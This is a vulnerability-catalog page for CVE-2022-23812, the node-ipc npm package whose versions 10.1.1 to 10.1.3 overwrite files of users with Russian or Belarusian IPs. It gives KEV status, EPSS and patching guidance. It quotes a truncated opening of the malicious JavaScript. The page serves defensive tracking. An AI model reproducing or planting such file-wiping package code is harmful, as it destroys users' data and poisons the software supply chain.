ZeroDay Findings
Sign inSign up

Vulnerabilities

Vulnerability · CVE-2022-23812

NPM Package node-ipc Vulnerability

Published Mar 16, 2022 · catalog updated Mar 16, 2022 · NPM Package node-ipc

Patch now

CVE-2022-23812 is in the CISA known-exploited catalog. Confirm NPM Package node-ipc against the vendor advisory and apply that fix. The CVSS score does not change the priority.

Gaps on this record

  • The stored product name is a package slug. The name on this page is taken from the title (NPM Package node-ipc).
  • No version range is stored. A customer cannot check an installed version against this record.
Severity
Unknown—
Known exploitation
CISA KEV and VulnCheck KEV
EPSS
4.23%
Remediation
Remediation guidance
Affected products
vendor node-ipc_project node-ipc

This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return

Are you affected?

Enter the version you run. The result uses only the ranges stored on this record.

The check returns affected, not affected, or incomplete. It does not guess a version that is missing from the record.

  • vendor node-ipc_project node-ipcversion unspecified

How to fix CVE-2022-23812

What to do

Three questions, each answered from this record only. Confirm the vendor advisory before you patch.

Should you patch?

CVE-2022-23812 is in the CISA known-exploited catalog. Confirm NPM Package node-ipc against the vendor advisory and apply that fix. The CVSS score does not change the priority.

Which versions are affected?

Affected version ranges are not on this record. Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.

What should an analyst verify?

No weakness class is stored. EPSS 4.23%. The CISA KEV listing is the exploitation evidence. No Exploit-DB or Metasploit reference is linked. Use the source links for the original advisory.

Code

The project this record applies to. Exploit listings stay in References.

No public source repository is identified for this product.

Timeline

Detection, updates, and resolution for this record.

  1. Mar 16, 2022 · VulnCheck KEV

    Detected

    This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired beh

  2. Mar 16, 2022 · CISA KEV

    Known exploited

    Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.

Sources

  • CVE.orgVulnerability recordCVE-2022-23812

    Official CVE identifier

    cve.org
  • FIRST EPSSExploitation probabilityCVE-2022-23812

    30-day exploitation probability 4.2%

    first.org
  • VulnCheck KEVConfirmed exploitationCVE-2022-23812

    This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code

    vulncheck.com

References

Freshness

Last verified in this catalog Oct 18, 2026. Significant claims (KEV, EPSS, CVSS, affected ranges) come from the source rows above — open the original publisher for the authoritative advisory.